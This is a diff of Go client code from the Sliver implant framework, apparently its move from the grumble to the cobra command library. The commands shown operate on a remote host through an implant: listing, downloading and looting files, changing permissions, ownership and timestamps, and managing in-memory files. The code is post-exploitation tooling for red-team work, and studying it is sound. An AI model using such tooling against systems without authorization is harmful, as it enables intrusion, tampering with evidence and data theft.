"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
filePath := "."
if len(args) == 1 {
filePath = args[0]
}
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
})
if err != nil {
+87
View File
@@ -0,0 +1,87 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChmodCmd - Change the permissions of a file on the remote file system
func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
fileMode := args[1]
if fileMode == "" {
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
return
}
recursive, _ := cmd.Flags().GetBool("recursive")
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
FileMode: fileMode,
Recursive: recursive,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chmod.Response != nil && chmod.Response.Async {
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chmod)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChmod(chmod, con)
})
con.PrintAsyncResponse(chmod.Response)
} else {
PrintChmod(chmod, con)
}
}
// PrintChmod - Print the chmod response
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
if chmod.Response != nil && chmod.Response.Err != "" {
con.PrintErrorf("%s\n", chmod.Response.Err)
return
}
con.PrintInfof("%s\n", chmod.Path)
}
+95
View File
@@ -0,0 +1,95 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChownCmd - Change the owner of a file on the remote file system
func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
uid := args[1]
if uid == "" {
con.PrintErrorf("Missing parameter: user id\n")
return
}
gid := args[2]
if gid == "" {
con.PrintErrorf("Missing parameter: group id\n")
return
}
recursive, _ := cmd.Flags().GetBool("recursive")
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Uid: uid,
Gid: gid,
Recursive: recursive,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chown.Response != nil && chown.Response.Async {
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chown)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChown(chown, con)
})
con.PrintAsyncResponse(chown.Response)
} else {
PrintChown(chown, con)
}
}
// PrintChown - Print the chown response
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
if chown.Response != nil && chown.Response.Err != "" {
con.PrintErrorf("%s\n", chown.Response.Err)
return
}
con.PrintInfof("%s\n", chown.Path)
}
+108
View File
@@ -0,0 +1,108 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChtimesCmd - Change the access and modified time of a file on the remote file system
func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
ATime: unixAtime,
MTime: unixMtime,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chtimes.Response != nil && chtimes.Response.Async {
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chtimes)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChtimes(chtimes, con)
})
con.PrintAsyncResponse(chtimes.Response)
} else {
PrintChtimes(chtimes, con)
}
}
// PrintChtimes - Print the Chtimes response
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
if chtimes.Response != nil && chtimes.Response.Err != "" {
con.PrintErrorf("%s\n", chtimes.Response.Err)
return
}
con.PrintInfof("%s\n", chtimes.Path)
}
+145 -58
View File
@@ -22,46 +22,38 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
remotePath := args[0]
recurse, _ := cmd.Flags().GetBool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -76,60 +68,155 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, cmd, args, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, cmd, args, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
remotePath := args[0]
localPath := args[1]
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
if saveLoot {
lootName, _ := cmd.Flags().GetString("name")
// Hand off to the loot package to take care of looting
fType, _ := cmd.Flags().GetString("file-type")
fileType := loot.ValidateLootFileType(fType, download.Data)
loot.LootDownload(download, lootName, fileType, cmd, con)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+50 -78
View File
@@ -22,75 +22,38 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
var remotePath string
if len(args) == 1 {
remotePath = args[0]
} else {
remotePath = "."
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
})
if err != nil {
@@ -104,31 +67,46 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, cmd.Flags(), con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, cmd.Flags(), con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
reverseSort, _ := flags.GetBool("reverse")
sortByTime, _ := flags.GetBool("modified")
sortBySize, _ := flags.GetBool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
@@ -174,32 +152,26 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
owner := ""
if fileInfo.Uid != "" {
owner = fileInfo.Uid
}
if fileInfo.Gid != "" {
owner = owner + ":" + fileInfo.Gid + "\t"
}
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
+67
View File
@@ -0,0 +1,67 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// MemfilesAddCmd - Add memfile
func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesAdd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintAddMemfile(memfilesAdd, con)
})
con.PrintAsyncResponse(memfilesAdd.Response)
} else {
PrintAddMemfile(memfilesAdd, con)
}
}
// PrintAddMemfile - Print the memfiles response
func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
return
}
con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
}
+118
View File
@@ -0,0 +1,118 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"time"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
// MemfilesListCmd - List memfiles
func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesList.Response != nil && memfilesList.Response.Async {
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMemfiles(memfilesList, con)
})
con.PrintAsyncResponse(memfilesList.Response)
} else {
PrintMemfiles(memfilesList, con)
}
}
// PrintMemfiles - Display an sliverpb.Ls object
func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
owner := ""
if fileInfo.Uid != "" {
owner = fileInfo.Uid
}
if fileInfo.Gid != "" {
owner = owner + ":" + fileInfo.Gid + "\t"
}
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+77
View File
@@ -0,0 +1,77 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strconv"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// MemfilesRmCmd - Remove a memfile
func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
fdArg := args[0]
if fdArg == "" {
con.PrintErrorf("Missing parameter: File Descriptor\n")
return
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(cmd),
Fd: fdInt,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesList.Response != nil && memfilesList.Response.Async {
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRmMemfile(memfilesList, con)
})
con.PrintAsyncResponse(memfilesList.Response)
} else {
PrintRmMemfile(memfilesList, con)
}
}
// PrintRmMemfile - Remove a memfile
func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
if memfilesList.Response != nil && memfilesList.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesList.Response.Err)
return
}
con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
}
+8 -6
View File
@@ -21,22 +21,24 @@ package filesystem
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
filePath := args[0]
// filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: directory name\n")
@@ -44,7 +46,7 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
})
if err != nil {
+87
View File
@@ -0,0 +1,87 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := args[0]
// src := ctx.Args.String("src")
// if src == "" {
// con.PrintErrorf("Missing parameter: src\n")
// return
// }
dst := args[1]
// dst := ctx.Args.String("dst")
// if dst == "" {
// con.PrintErrorf("Missing parameter: dst\n")
// return
// }
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
